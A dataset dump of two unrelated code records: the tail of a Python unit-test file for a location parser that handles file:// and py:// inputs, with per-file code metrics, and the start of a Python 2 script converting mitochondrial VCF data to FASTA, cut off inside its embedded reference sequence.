content = """Result: $ToUpper("a")"""
tmp_file = self.create_tempfile(
file_path="dummy.wstl", content=content, mode="w")
input_wstl_arg = "file://{}".format(tmp_file.full_path)
locations = _location.parse_location(
shell,
input_wstl_arg,
file_ext=_constants.WSTL_FILE_EXT,
load_contents=False)
self.assertTrue(locations[0].HasField("local_path"))
self.assertEqual(locations[0].local_path, tmp_file.full_path)
def test_parse_location_file_prefix_wstl_wildcard_success(self):
shell = mock.MagicMock()
content = """Result: $ToUpper("a")"""
tmp_file = self.create_tempfile(
file_path="dummy.wstl", content=content, mode="w")
input_wstl_arg = "file://{}/*".format(path.dirname(tmp_file.full_path))
locations = _location.parse_location(
shell,
input_wstl_arg,
file_ext=_constants.WSTL_FILE_EXT,
load_contents=False)
self.assertLen(locations, 1)
self.assertTrue(locations[0].HasField("local_path"))
self.assertEqual(locations[0].local_path, tmp_file.full_path)
def test_parse_location_file_prefix_wildcard_success(self):
shell = mock.MagicMock()
content = """{"hello": "world"}"""
tmp_file = self.create_tempfile(
file_path="dummy.json", content=content, mode="w")
input_wstl_arg = "file://{}/*".format(path.dirname(tmp_file.full_path))
locations = _location.parse_location(
shell, input_wstl_arg, file_ext=_constants.JSON_FILE_EXT)
self.assertLen(locations, 1)
self.assertTrue(locations[0].HasField("inline_json"))
self.assertEqual(locations[0].inline_json, content)
def test_parse_location_file_suffix_ndjson_success(self):
shell = mock.MagicMock()
content = """{"first": "item"}\n{"second": "item"}"""
tmp_file = self.create_tempfile(
file_path="dummy.ndjson", content=content, mode="w")
input_wstl_arg = "file://{}".format(tmp_file.full_path)
locations = _location.parse_location(
shell, input_wstl_arg, file_ext=_constants.JSON_FILE_EXT)
self.assertLen(locations, 2)
self.assertTrue(locations[0].HasField("inline_json"))
self.assertEqual(locations[0].inline_json, "{\"first\": \"item\"}")
self.assertTrue(locations[1].HasField("inline_json"))
self.assertEqual(locations[1].inline_json, "{\"second\": \"item\"}")
def test_parse_location_file_prefix_textproto_suffix_success(self):
shell = mock.MagicMock()
content = """dummy_field: true"""
tmp_file = self.create_tempfile(
file_path="dummy.textproto", content=content, mode="w")
input_wstl_arg = "file://{}".format(tmp_file.full_path)
locations = _location.parse_location(
shell,
input_wstl_arg,
file_ext=_constants.TEXTPROTO_FILE_EXT,
load_contents=False)
self.assertTrue(locations[0].HasField("local_path"))
self.assertEqual(locations[0].local_path, tmp_file.full_path)
def test_parse_location_file_prefix_textproto_suffix_load_content_success(
self):
shell = mock.MagicMock()
content = """dummy_field: true"""
tmp_file = self.create_tempfile(
file_path="dummy.textproto", content=content, mode="w")
input_wstl_arg = "file://{}".format(tmp_file.full_path)
locations = _location.parse_location(
shell,
input_wstl_arg,
file_ext=_constants.TEXTPROTO_FILE_EXT,
load_contents=True)
self.assertTrue(locations[0].HasField("inline_json"))
self.assertEqual(locations[0].inline_json, "dummy_field: true")
def test_parse_location_file_prefix_no_load_content_success(self):
shell = mock.MagicMock()
content = """{"hello": "world"}"""
tmp_file = self.create_tempfile(
file_path="dummy.json", content=content, mode="w")
input_wstl_arg = "file://{}/*".format(path.dirname(tmp_file.full_path))
locations = _location.parse_location(
shell,
input_wstl_arg,
file_ext=_constants.JSON_FILE_EXT,
load_contents=False)
self.assertLen(locations, 1)
self.assertTrue(locations[0].HasField("local_path"))
self.assertEqual(locations[0].local_path, tmp_file.full_path)
def test_parse_location_file_prefix_invalid_path(self):
shell = mock.MagicMock()
content = """{"hello": "world"}"""
tmp_file = self.create_tempfile(content=content, mode="w")
input_wstl_arg = "file://invalid-{}".format(tmp_file.full_path)
locations = _location.parse_location(
shell, input_wstl_arg, file_ext=_constants.JSON_FILE_EXT)
self.assertEmpty(locations)
def test_parse_location_file_prefix_missing_extension(self):
shell = mock.MagicMock()
input_wstl_arg = "file://placeholder.json"
with self.assertRaises(ValueError):
_location.parse_location(shell, input_wstl_arg, file_ext=None)
def test_parse_location_python_prefix_string_success(self):
str_content = """{"hello": "world"}"""
_ip.push("str_content")
input_wstl_arg = "py://str_content"
locations = _location.parse_location(_ip, input_wstl_arg, file_ext=None)
self.assertLen(locations, 1)
self.assertTrue(locations[0].HasField("inline_json"))
self.assertEqual(locations[0].inline_json, str_content)
def test_parse_location_python_prefix_dict_success(self):
dict_content = {"hello": "world"}
_ip.push("dict_content")
input_wstl_arg = "py://dict_content"
locations = _location.parse_location(_ip, input_wstl_arg, file_ext=None)
self.assertLen(locations, 1)
self.assertTrue(locations[0].HasField("inline_json"))
self.assertEqual(locations[0].inline_json, json.dumps(dict_content))
def test_parse_location_python_prefix_list_success(self):
list_content = [{"first": "item"}, {"second": "item"}]
_ip.push("list_content")
input_wstl_arg = "py://list_content"
locations = _location.parse_location(_ip, input_wstl_arg, file_ext=None)
self.assertLen(locations, 1)
self.assertTrue(locations[0].HasField("inline_json"))
self.assertEqual(locations[0].inline_json,
json.dumps(list_content, sort_keys=True))
def test_parse_location_unknown_prefix_failure(self):
shell = mock.MagicMock()
input_wstl_arg = "invalid://blah"
with self.assertRaises(ValueError):
_location.parse_location(shell, input_wstl_arg, file_ext=None)
if __name__ == "__main__":
absltest.main()
| 38.311728
| 78
| 0.700314
| 1,577
| 12,413
| 5.193405
| 0.114775
| 0.042857
| 0.057143
| 0.056654
| 0.860806
| 0.830525
| 0.800855
| 0.771917
| 0.752991
| 0.729548
| 0
| 0.006418
| 0.171514
| 12,413
| 323
| 79
| 38.430341
| 0.789965
| 0.046564
| 0
| 0.70229
| 0
| 0
| 0.110875
| 0.029992
| 0
| 0
| 0
| 0
| 0.187023
| 1
| 0.09542
| false
| 0
| 0.030534
| 0
| 0.152672
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2b1cf8c4c705595e065d0c49b4f9db1ceda0b4c2
| 21,218
|
py
|
Python
|
scripts/PYTHON/mtDNA_VCF2FASTA_ADNI.py
|
sjfandrews/MitoImputePrep
|
d9c08c36a7dc4b929ded39c46fb519090a491d80
|
[
"MIT"
] | null | null | null |
scripts/PYTHON/mtDNA_VCF2FASTA_ADNI.py
|
sjfandrews/MitoImputePrep
|
d9c08c36a7dc4b929ded39c46fb519090a491d80
|
[
"MIT"
] | null | null | null |
scripts/PYTHON/mtDNA_VCF2FASTA_ADNI.py
|
sjfandrews/MitoImputePrep
|
d9c08c36a7dc4b929ded39c46fb519090a491d80
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python2
## IMPORT NECESSARY PACKAGES
import gzip
import argparse
import re
import os
from tqdm import *
## DEFINE MAIN SCRIPT/FUNCTION
def main():
#DEFINE INPUT ARGUMENTS
parser=argparse.ArgumentParser(description='vcf2fasta (mtDNA missing data)',formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-i', '--vcf', dest='vcf_file', type=str, required=True, help='input vcf file (vcf)')
parser.add_argument('-o', '--outfile', dest='outfile', type=str, required=True, help='output fasta file (.fasta)')
parser.add_argument('-r', '--include-rCRS', dest='ref', type=bool, default=True, required=False, help='include the rCRS in the alignment')
parser.add_argument('-m', '--missing', dest='missing', type=str, default='N', required = False, help='character for missing positions')
#parser.add_argument('-v', '--verbose', dest='verbose', type=bool, default=False, required=False, help='verbose mode')
parser.add_argument('-v', '--verbose', dest='verbose', action="store_true", required=False, help='verbose mode')
args=parser.parse_args()
vcf_file=args.vcf_file
outfile = args.outfile
inc_ref = args.ref
missing = args.missing
verbose = args.verbose
# Revised Cambridge Reference Sequence information
if verbose:
print 'ASSIGNING rCRS INFORMATION'
rCRS_tag = "NC_012920"
rCRS_seq = "GATCACAGGTCTATCACCCTATTAACCACTCACGGGAGCTCTCCATGCATTTGGTATTTTCGTCTGGGGGGTATGCACGCGATAGCATTGCGAGACGCTGGAGCCGGAGCACCCTATGTCGCAGTATCTGTCTTTGATTCCTGCCTCATCCTATTATTTATCGCACCTACGTTCAATATTACAGGCGAACATACTTACTAAAGTGTGTTAATTAATTAATGCTTGTAGGACATAATAATAACAATTGAATGTCTGCACAGCCACTTTCCACACAGACATCATAACAAAAAATTTCCACCAAACCCCCCCTCCCCCGCTTCTGGCCACAGCACTTAAACACATCTCTGCCAAACCCCAAAAACAAAGAACCCTAACACCAGCCTAACCAGATTTCAAATTTTATCTTTTGGCGGTATGCACTTTTAACAGTCACCCCCCAACTAACACATTATTTTCCCCTCCCACTCCCATACTACTAATCTCATCAATACAACCCCCGCCCATCCTACCCAGCACACACACACCGCTGCTAACCCCATACCCCGAACCAACCAAACCCCAAAGACACCCCCCACAGTTTATGTAGCTTACCTCCTCAAAGCAATACACTGAAAATGTTTAGACGGGCTCACATCACCCCATAAACAAATAGGTTTGGTCCTAGCCTTTCTATTAGCTCTTAGTAAGATTACACATGCAAGCATCCCCGTTCCAGTGAGTTCACCCTCTAAATCACCACGATCAAAAGGAACAAGCATCAAGCACGCAGCAATGCAGCTCAAAACGCTTAGCCTAGCCACACCCCCACGGGAAACAGCAGTGATTAACCTTTAGCAATAAACGAAAGTTTAACTAAGCTATACTAACCCCAGGGTTGGTCAATTTCGTGCCAGCCACCGCGGTCACACGATTAACCCAAGTCAATAGAAGCCGGCGTAAAGAGTGTTTTAGATCACCCCCTCCCCAATAAAGCTAAAACTCACCTGAGTTGTAAAAAACTCCAGTTGACACAAAATAGACTACGAAAGTGGCTTTAACATATCTGAACACACAATAGCTAAGACCCAAACTGGGATTAGATACCCCACTATGCTTAGCCCTAAACCTCAACAGTTAAATCAACAAAACTGCTCGCCAGAACACTACGAGCCACAGCTTAAAACTCAAAGGACCTGGCGGTGCTTCATATCCCTCTAGAGGAGCCTGTTCTGTAATCGATAAACCCCGATCAACCTCACCACCTCTTGCTCAGCCTATATACCGCCATCTTCAGCAAACCCTGATGAAGGCTACAAAGTAAGCGCAAGTACCCACGTAAAGACGTTAGGTCAAGGTGTAGCCCATGAGGTGGCAAGAAATGGGCTACATTTTCTACCCCAGAAAACTACGATAGCCCTTATGAAACTTAAGGGTCGAAGGTGGATTTAGCAGTAAACTAAGAGTAGAGTGCTTAGTTGAACAGGGCCCTGAAGCGCGTACACACCGCCCGTCACCCTCCTCAAGTATACTTCAAAGGACATTTAACTAAAACCCCTACGCATTTATATAGAGGAGACAAGTCGTAACATGGTAAGTGTACTGGAAAGTGCACTTGGACGAACCAGAGTGTAGCTTAACACAAAGCACCCAACTTACACTTAGGAGATTTCAACTTAACTTGACCGCTCTGAGCTAAACCTAGCCCCAAACCCACTCCACCTTACTACCAGACAACCTTAGCCAAACCATTTACCCAAATAAAGTATAGGCGATAGAAATTGAAACCTGGCGCAATAGATATAGTACCGCAAGGGAAAGATGAAAAATTATAACCAAGCATAATATAGCAAGGACTAACCCCTATACCTTCTGCATAATGAATTAACTAGAAATAACTTTGCAAGGAGAGCCAAAGCTAAGACCCCCGAAACCAGACGAGCTACCTAAGAACAGCTAAAAGAGCACACCCGTCTATGTAGCAAAATAGTGGGAAGATTTATAGGTAGAGGCGACAAACCTACCGAGCCTGGTGATAGCTGGTTGTCCAAGATAGAATCTTAGTTCAACTTTAAATTTGCCCACAGAACCCTCTAAATCCCCTTGTAAATTTAACTGTTAGTCCAAAGAGGAACAGCTCTTTGGACACTAGGAAAAAACCTTGTAGAGAGAGTAAAAAATTTAACACCCATAGTAGGCCTAAAAGCAGCCACCAATTAAGAAAGCGTTCAAGCTCAACACCCACTACCTAAAAAATCCCAAACATATAACTGAACTCCTCACACCCAATTGGACCAATCTATCACCCTATAGAAGAACTAATGTTAGTATAAGTAACATGAAAACATTCTCCTCCGCATAAGCCTGCGTCAGATTAAAACACTGAACTGACAATTAACAGCCCAATATCTACAATCAACCAACAAGTCATTATTACCCTCACTGTCAACCCAACACAGGCATGCTCATAAGGAAAGGTTAAAAAAAGTAAAAGGAACTCGGCAAATCTTACCCCGCCTGTTTACCAAAAACATCACCTCTAGCATCACCAGTATTAGAGGCACCGCCTGCCCAGTGACACATGTTTAACGGCCGCGGTACCCTAACCGTGCAAAGGTAGCATAATCACTTGTTCCTTAAATAGGGACCTGTATGAATGGCTCCACGAGGGTTCAGCTGTCTCTTACTTTTAACCAGTGAAATTGACCTGCCCGTGAAGAGGCGGGCATAACACAGCAAGACGAGAAGACCCTATGGAGCTTTAATTTATTAATGCAAACAGTACCTAACAAACCCACAGGTCCTAAACTACCAAACCTGCATTAAAAATTTCGGTTGGGGCGACCTCGGAGCAGAACCCAACCTCCGAGCAGTACATGCTAAGACTTCACCAGTCAAAGCGAACTACTATACTCAATTGATCCAATAACTTGACCAACGGAACAAGTTACCCTAGGGATAACAGCGCAATCCTATTCTAGAGTCCATATCAACAATAGGGTTTACGACCTCGATGTTGGATCAGGACATCCCGATGGTGCAGCCGCTATTAAAGGTTCGTTTGTTCAACGATTAAAGTCCTACGTGATCTGAGTTCAGACCGGAGTAATCCAGGTCGGTTTCTATCTACNTTCAAATTCCTCCCTGTACGAAAGGACAAGAGAAATAAGGCCTACTTCACAAAGCGCCTTCCCCCGTAAATGATATCATCTCAACTTAGTATTATACCCACACCCACCCAAGAACAGGGTTTGTTAAGATGGCAGAGCCCGGTAATCGCATAAAACTTAAAACTTTACAGTCAGAGGTTCAATTCCTCTTCTTAACAACATACCCATGGCCAACCTCCTACTCCTCATTGTACCCATTCTAATCGCAATGGCATTCCTAATGCTTACCGAACGAAAAATTCTAGGCTATATACAACTACGCAAAGGCCCCAACGTTGTAGGCCCCTACGGGCTACTACAACCCTTCGCTGACGCCATAAAACTCTTCACCAAAGAGCCCCTAAAACCCGCCACATCTACCATCACCCTCTACATCACCGCCCCGACCTTAGCTCTCACCATCGCTCTTCTACTATGAACCCCCCTCCCCATACCCAACCCCCTGGTCAACCTCAACCTAGGCCTCCTATTTATTCTAGCCACCTCTAGCCTAGCCGTTTACTCAATCCTCTGATCAGGGTGAGCATCAAACTCAAACTACGCCCTGATCGGCGCACTGCGAGCAGTAGCCCAAACAATCTCATATGAAGTCACCCTAGCCATCATTCTACTATCAACATTACTAATAAGTGGCTCCTTTAACCTCTCCACCCTTATCACAACACAAGAACACCTCTGATTACTCCTGCCATCATGACCCTTGGCCATAATATGATTTATCTCCACACTAGCAGAGACCAACCGAACCCCCTTCGACCTTGCCGAAGGGGAGTCCGAACTAGTCTCAGGCTTCAACATCGAATACGCCGCAGGCCCCTTCGCCCTATTCTTCATAGCCGAATACACAAACATTATTATAATAAACACCCTCACCACTACAATCTTCCTAGGAACAACATATGACGCACTCTCCCCTGAACTCTACACAACATATTTTGTCACCAAGACCCTACTTCTAACCTCCCTGTTCTTATGAATTCGAACAGCATACCCCCGATTCCGCTACGACCAACTCATACACCTCCTATGAAAAAACTTCCTACCACTCACCCTAGCATTACTTATATGATATGTCTCCATACCCATTACAATCTCCAGCATTCCCCCTCAAACCTAAGAAATATGTCTGATAAAAGAGTTACTTTGATAGAGTAAATAATAGGAGCTTAAACCCCCTTATTTCTAGGACTATGAGAATCGAACCCATCCCTGAGAATCCAAAATTCTCCGTGCCACCTATCACACCCCATCCTAAAGTAAGGTCAGCTAAATAAGCTATCGGGCCCATACCCCGAAAATGTTGGTTATACCCTTCCCGTACTAATTAATCCCCTGGCCCAACCCGTCATCTACTCTACCATCTTTGCAGGCACACTCATCACAGCGCTAAGCTCGCACTGATTTTTTACCTGAGTAGGCCTAGAAATAAACATGCTAGCTTTTATTCCAGTTCTAACCAAAAAAATAAACCCTCGTTCCACAGAAGCTGCCATCAAGTATTTCCTCACGCAAGCAACCGCATCCATAATCCTTCTAATAGCTATCCTCTTCAACAATATACTCTCCGGACAATGAACCATAACCAATACTACCAATCAATACTCATCATTAATAATCATAATAGCTATAGCAATAAAACTAGGAATAGCCCCCTTTCACTTCTGAGTCCCAGAGGTTACCCAAGGCACCCCTCTGACATCCGGCCTGCTTCTTCTCACATGACAAAAACTAGCCCCCATCTCAATCATATACCAAATCTCTCCCTCACTAAACGTAAGCCTTCTCCTCACTCTCTCAATCTTATCCATCATAGCAGGCAGTTGAGGTGGATTAAACCAAACCCAGCTACGCAAAATCTTAGCATACTCCTCAATTACCCACATAGGATGAATAATAGCAGTTCTACCGTACAACCCTAACATAACCATTCTTAATTTAACTATTTATATTATCCTAACTACTACCGCATTCCTACTACTCAACTTAAACTCCAGCACCACGACCCTACTACTATCTCGCACCTGAAACAAGCTAACATGACTAACACCCTTAATTCCATCCACCCTCCTCTCCCTAGGAGGCCTGCCCCCGCTAACCGGCTTTTTGCCCAAATGGGCCATTATCGAAGAATTCACAAAAAACAATAGCCTCATCATCCCCACCATCATAGCCACCATCACCCTCCTTAACCTCTACTTCTACCTACGCCTAATCTACTCCACCTCAATCACACTACTCCCCATATCTAACAACGTAAAAATAAAATGACAGTTTGAACATACAAAACCCACCCCATTCCTCCCCACACTCATCGCCCTTACCACGCTACTCCTACCTATCTCCCCTTTTATACTAATAATCTTATAGAAATTTAGGTTAAATACAGACCAAGAGCCTTCAAAGCCCTCAGTAAGTTGCAATACTTAATTTCTGTAACAGCTAAGGACTGCAAAACCCCACTCTGCATCAACTGAACGCAAATCAGCCACTTTAATTAAGCTAAGCCCTTACTAGACCAATGGGACTTAAACCCACAAACACTTAGTTAACAGCTAAGCACCCTAATCAACTGGCTTCAATCTACTTCTCCCGCCGCCGGGAAAAAAGGCGGGAGAAGCCCCGGCAGGTTTGAAGCTGCTTCTTCGAATTTGCAATTCAATATGAAAATCACCTCGGAGCTGGTAAAAAGAGGCCTAACCCCTGTCTTTAGATTTACAGTCCAATGCTTCACTCAGCCATTTTACCTCACCCCCACTGATGTTCGCCGACCGTTGACTATTCTCTACAAACCACAAAGACATTGGAACACTATACCTATTATTCGGCGCATGAGCTGGAGTCCTAGGCACAGCTCTAAGCCTCCTTATTCGAGCCGAGCTGGGCCAGCCAGGCAACCTTCTAGGTAACGACCACATCTACAACGTTATCGTCACAGCCCATGCATTTGTAATAATCTTCTTCATAGTAATACCCATCATAATCGGAGGCTTTGGCAACTGACTAGTTCCCCTAATAATCGGTGCCCCCGATATGGCGTTTCCCCGCATAAACAACATAAGCTTCTGACTCTTACCTCCCTCTCTCCTACTCCTGCTCGCATCTGCTATAGTGGAGGCCGGAGCAGGAACAGGTTGAACAGTCTACCCTCCCTTAGCAGGGAACTACTCCCACCCTGGAGCCTCCGTAGACCTAACCATCTTCTCCTTACACCTAGCAGGTGTCTCCTCTATCTTAGGGGCCATCAATTTCATCACAACAATTATCAATATAAAACCCCCTGCCATAACCCAATACCAAACGCCCCTCTTCGTCTGATCCGTCCTAATCACAGCAGTCCTACTTCTCCTATCTCTCCCAGTCCTAGCTGCTGGCATCACTATACTACTAACAGACCGCAACCTCAACACCACCTTCTTCGACCCCGCCGGAGGAGGAGACCCCATTCTATACCAACACCTATTCTGATTTTTCGGTCACCCTGAAGTTTATATTCTTATCCTACCAGGCTTCGGAATAATCTCCCATATTGTAACTTACTACTCCGGAAAAAAAGAACCATTTGGATACATAGGTATGGTCTGAGCTATGATATCAATTGGCTTCCTAGGGTTTATCGTGTGAGCACACCATATATTTACAGTAGGAATAGACGTAGACACACGAGCATATTTCACCTCCGCTACCATAATCATCGCTATCCCCACCGGCGTCAAAGTATTTAGCTGACTCGCCACACTCCACGGAAGCAATATGAAATGATCTGCTGCAGTGCTCTGAGCCCTAGGATTCATCTTTCTTTTCACCGTAGGTGGCCTGACTGGCATTGTATTAGCAAACTCATCACTAGACATCGTACTACACGACACGTACTACGTTGTAGCCCACTTCCACTATGTCCTATCAATAGGAGCTGTATTTGCCATCATAGGAGGCTTCATTCACTGATTTCCCCTATTCTCAGGCTACACCCTAGACCAAACCTACGCCAAAATCCATTTCACTATCATATTCATCGGCGTAAATCTAACTTTCTTCCCACAACACTTTCTCGGCCTATCCGGAATGCCCCGACGTTACTCGGACTACCCCGATGCATACACCACATGAAACATCCTATCATCTGTAGGCTCATTCATTTCTCTAACAGCAGTAATATTAATAATTTTCATGATTTGAGAAGCCTTCGCTTCGAAGCGAAAAGTCCTAATAGTAGAAGAACCCTCCATAAACCTGGAGTGACTATATGGATGCCCCCCACCCTACCACACATTCGAAGAACCCGTATACATAAAATCTAGACAAAAAAGGAAGGAATCGAACCCCCCAAAGCTGGTTTCAAGCCAACCCCATGGCCTCCATGACTTTTTCAAAAAGGTATTAGAAAAACCATTTCATAACTTTGTCAAAGTTAAATTATAGGCTAAATCCTATATATCTTAATGGCACATGCAGCGCAAGTAGGTCTACAAGACGCTACTTCCCCTATCATAGAAGAGCTTATCACCTTTCATGATCACGCCCTCATAATCATTTTCCTTATCTGCTTCCTAGTCCTGTATGCCCTTTTCCTAACACTCACAACAAAACTAACTAATACTAACATCTCAGACGCTCAGGAAATAGAAACCGTCTGAACTATCCTGCCCGCCATCATCCTAGTCCTCATCGCCCTCCCATCCCTACGCATCCTTTACATAACAGACGAGGTCAACGATCCCTCCCTTACCATCAAATCAATTGGCCACCAATGGTACTGAACCTACGAGTACACCGACTACGGCGGACTAATCTTCAACTCCTACATACTTCCCCCATTATTCCTAGAACCAGGCGACCTGCGACTCCTTGACGTTGACAATCGAGTAGTACTCCCGATTGAAGCCCCCATTCGTATAATAATTACATCACAAGACGTCTTGCACTCATGAGCTGTCCCCACATTAGGCTTAAAAACAGATGCAATTCCCGGACGTCTAAACCAAACCACTTTCACCGCTACACGACCGGGGGTATACTACGGTCAATGCTCTGAAATCTGTGGAGCAAACCACAGTTTCATGCCCATCGTCCTAGAATTAATTCCCCTAAAAATCTTTGAAATAGGGCCCGTATTTACCCTATAGCACCCCCTCTACCCCCTCTAGAGCCCACTGTAAAGCTAACTTAGCATTAACCTTTTAAGTTAAAGATTAAGAGAACCAACACCTCTTTACAGTGAAATGCCCCAACTAAATACTACCGTATGGCCCACCATAATTACCCCCATACTCCTTACACTATTCCTCATCACCCAACTAAAAATATTAAACACAAACTACCACCTACCTCCCTCACCAAAGCCCATAAAAATAAAAAATTATAACAAACCCTGAGAACCAAAATGAACGAAAATCTGTTCGCTTCATTCATTGCCCCCACAATCCTAGGCCTACCCGCCGCAGTACTGATCATTCTATTTCCCCCTCTATTGATCCCCACCTCCAAATATCTCATCAACAACCGACTAATCACCACCCAACAATGACTAATCAAACTAACCTCAAAACAAATGATAACCATACACAACACTAAAGGACGAACCTGATCTCTTATACTAGTATCCTTAATCATTTTTATTGCCACAACTAACCTCCTCGGACTCCTGCCTCACTCATTTACACCAACCACCCAACTATCTATAAACCTAGCCATGGCCATCCCCTTATGAGCGGGCACAGTGATTATAGGCTTTCGCTCTAAGATTAAAAATGCCCTAGCCCACTTCTTACCACAAGGCACACCTACACCCCTTATCCCCATACTAGTTATTATCGAAACCATCAGCCTACTCATTCAACCAATAGCCCTGGCCGTACGCCTAACCGCTAACATTACTGCAGGCCACCTACTCATGCACCTAATTGGAAGCGCCACCCTAGCAATATCAACCATTAACCTTCCCTCTACACTTATCATCTTCACAATTCTAATTCTACTGACTATCCTAGAAATCGCTGTCGCCTTAATCCAAGCCTACGTTTTCACACTTCTAGTAAGCCTCTACCTGCACGACAACACATAATGACCCACCAATCACATGCCTATCATATAGTAAAACCCAGCCCATGACCCCTAACAGGGGCCCTCTCAGCCCTCCTAATGACCTCCGGCCTAGCCATGTGATTTCACTTCCACTCCATAACGCTCCTCATACTAGGCCTACTAACCAACACACTAACCATATACCAATGATGGCGCGATGTAACACGAGAAAGCACATACCAAGGCCACCACACACCACCTGTCCAAAAAGGCCTTCGATACGGGATAATCCTATTTATTACCTCAGAAGTTTTTTTCTTCGCAGGATTTTTCTGAGCCTTTTACCACTCCAGCCTAGCCCCTACCCCCCAATTAGGAGGGCACTGGCCCCCAACAGGCATCACCCCGCTAAATCCCCTAGAAGTCCCACTCCTAAACACATCCGTATTACTCGCATCAGGAGTATCAATCACCTGAGCTCACCATAGTCTAATAGAAAACAACCGAAACCAAATAATTCAAGCACTGCTTATTACAATTTTACTGGGTCTCTATTTTACCCTCCTACAAGCCTCAGAGTACTTCGAGTCTCCCTTCACCATTTCCGACGGCATCTACGGCTCAACATTTTTTGTAGCCACAGGCTTCCACGGACTTCACGTCATTATTGGCTCAACTTTCCTCACTATCTGCTTCATCCGCCAACTAATATTTCACTTTACATCCAAACATCACTTTGGCTTCGAAGCCGCCGCCTGATACTGGCATTTTGTAGATGTGGTTTGACTATTTCTGTATGTCTCCATCTATTGATGAGGGTCTTACTCTTTTAGTATAAATAGTACCGTTAACTTCCAATTAACTAGTTTTGACAACATTCAAAAAAGAGTAATAAACTTCGCCTTAATTTTAATAATCAACACCCTCCTAGCCTTACTACTAATAATTATTACATTTTGACTACCACAACTCAACGGCTACATAGAAAAATCCACCCCTTACGAGTGCGGCTTCGACCCTATATCCCCCGCCCGCGTCCCTTTCTCCATAAAATTCTTCTTAGTAGCTATTACCTTCTTATTATTTGATCTAGAAATTGCCCTCCTTTTACCCCTACCATGAGCCCTACAAACAACTAACCTGCCACTAATAGTTATGTCATCCCTCTTATTAATCATCATCCTAGCCCTAAGTCTGGCCTATGAGTGACTACAAAAAGGATTAGACTGAACCGAATTGGTATATAGTTTAAACAAAACGAATGATTTCGACTCATTAAATTATGATAATCATATTTACCAAATGCCCCTCATTTACATAAATATTATACTAGCATTTACCATCTCACTTCTAGGAATACTAGTATATCGCTCACACCTCATATCCTCCCTACTATGCCTAGAAGGAATAATACTATCGCTGTTCATTATAGCTACTCTCATAACCCTCAACACCCACTCCCTCTTAGCCAATATTGTGCCTATTGCCATACTAGTCTTTGCCGCCTGCGAAGCAGCGGTGGGCCTAGCCCTACTAGTCTCAATCTCCAACACATATGGCCTAGACTACGTACATAACCTAAACCTACTCCAATGCTAAAACTAATCGTCCCAACAATTATATTACTACCACTGACATGACTTTCCAAAAAACACATAATTTGAATCAACACAACCACCCACAGCCTAATTATTAGCATCATCCCTCTACTATTTTTTAACCAAATCAACAACAACCTATTTAGCTGTTCCCCAACCTTTTCCTCCGACCCCCTAACAACCCCCCTCCTAATACTAACTACCTGACTCCTACCCCTCACAATCATGGCAAGCCAACGCCACTTATCCAGTGAACCACTATCACGAAAAAAACTCTACCTCTCTATACTAATCTCCCTACAAATCTCCTTAATTATAACATTCACAGCCACAGAACTAATCATATTTTATATCTTCTTCGAAACCACACTTATCCCCACCTTGGCTATCATCACCCGATGAGGCAACCAGCCAGAACGCCTGAACGCAGGCACATACTTCCTATTCTACACCCTAGTAGGCTCCCTTCCCCTACTCATCGCACTAATTTACACTCACAACACCCTAGGCTCACTAAACATTCTACTACTCACTCTCACTGCCCAAGAACTATCAAACTCCTGAGCCAACAACTTAATATGACTAGCTTACACAATAGCTTTTATAGTAAAGATACCTCTTTACGGACTCCACTTATGACTCCCTAAAGCCCATGTCGAAGCCCCCATCGCTGGGTCAATAGTACTTGCCGCAGTACTCTTAAAACTAGGCGGCTATGGTATAATACGCCTCACACTCATTCTCAACCCCCTGACAAAACACATAGCCTACCCCTTCCTTGTACTATCCCTATGAGGCATAATTATAACAAGCTCCATCTGCCTACGACAAACAGACCTAAAATCGCTCATTGCATACTCTTCAATCAGCCACATAGCCCTCGTAGTAACAGCCATTCTCATCCAAACCCCCTGAAGCTTCACCGGCGCAGTCATTCTCATAATCGCCCACGGGCTTACATCCTCATTACTATTCTGCCTAGCAAACTCAAACTACGAACGCACTCACAGTCGCATCATAATCCTCTCTCAAGGACTTCAAACTCTACTCCCACTAATAGCTTTTTGATGACTTCTAGCAAGCCTCGCTAACCTCGCCTTACCCCCCACTATTAACCTACTGGGAGAACTCTCTGTGCTAGTAACCACGTTCTCCTGATCAAATATCACTCTCCTACTTACAGGACTCAACATACTAGTCACAGCCCTATACTCCCTCTACATATTTACCACAACACAATGGGGCTCACTCACCCACCACATTAACAACATAAAACCCTCATTCACACGAGAAAACACCCTCATGTTCATACACCTATCCCCCATTCTCCTCCTATCCCTCAACCCCGACATCATTACCGGGTTTTCCTCTTGTAAATATAGTTTAACCAAAACATCAGATTGTGAATCTGACAACAGAGGCTTACGACCCCTTATTTACCGAGAAAGCTCACAAGAACTGCTAACTCATGCCCCCATGTCTAACAACATGGCTTTCTCAACTTTTAAAGGATAACAGCTATCCATTGGTCTTAGGCCCCAAAAATTTTGGTGCAACTCCAAATAAAAGTAATAACCATGCACACTACTATAACCACCCTAACCCTGACTTCCCTAATTCCCCCCATCCTTACCACCCTCGTTAACCCTAACAAAAAAAACTCATACCCCCATTATGTAAAATCCATTGTCGCATCCACCTTTATTATCAGTCTCTTCCCCACAACAATATTCATGTGCCTAGACCAAGAAGTTATTATCTCGAACTGACACTGAGCCACAACCCAAACAACCCAGCTCTCCCTAAGCTTCAAACTAGACTACTTCTCCATAATATTCATCCCTGTAGCATTGTTCGTTACATGGTCCATCATAGAATTCTCACTGTGATATATAAACTCAGACCCAAACATTAATCAGTTCTTCAAATATCTACTCATCTTCCTAATTACCATACTAATCTTAGTTACCGCTAACAACCTATTCCAACTGTTCATCGGCTGAGAGGGCGTAGGAATTATATCCTTCTTGCTCATCAGTTGATGATACGCCCGAGCAGATGCCAACACAGCAGCCATTCAAGCAATCCTATACAACCGTATCGGCGATATCGGTTTCATCCTCGCCTTAGCATGATTTATCCTACACTCCAACTCATGAGACCCACAACAAATAGCCCTTCTAAACGCTAATCCAAGCCTCACCCCACTACTAGGCCTCCTCCTAGCAGCAGCAGGCAAATCAGCCCAATTAGGTCTCCACCCCTGACTCCCCTCAGCCATAGAAGGCCCCACCCCAGTCTCAGCCCTACTCCACTCAAGCACTATAGTTGTAGCAGGAATCTTCTTACTCATCCGCTTCCACCCCCTAGCAGAAAATAGCCCACTAATCCAAACTCTAACACTATGCTTAGGCGCTATCACCACTCTGTTCGC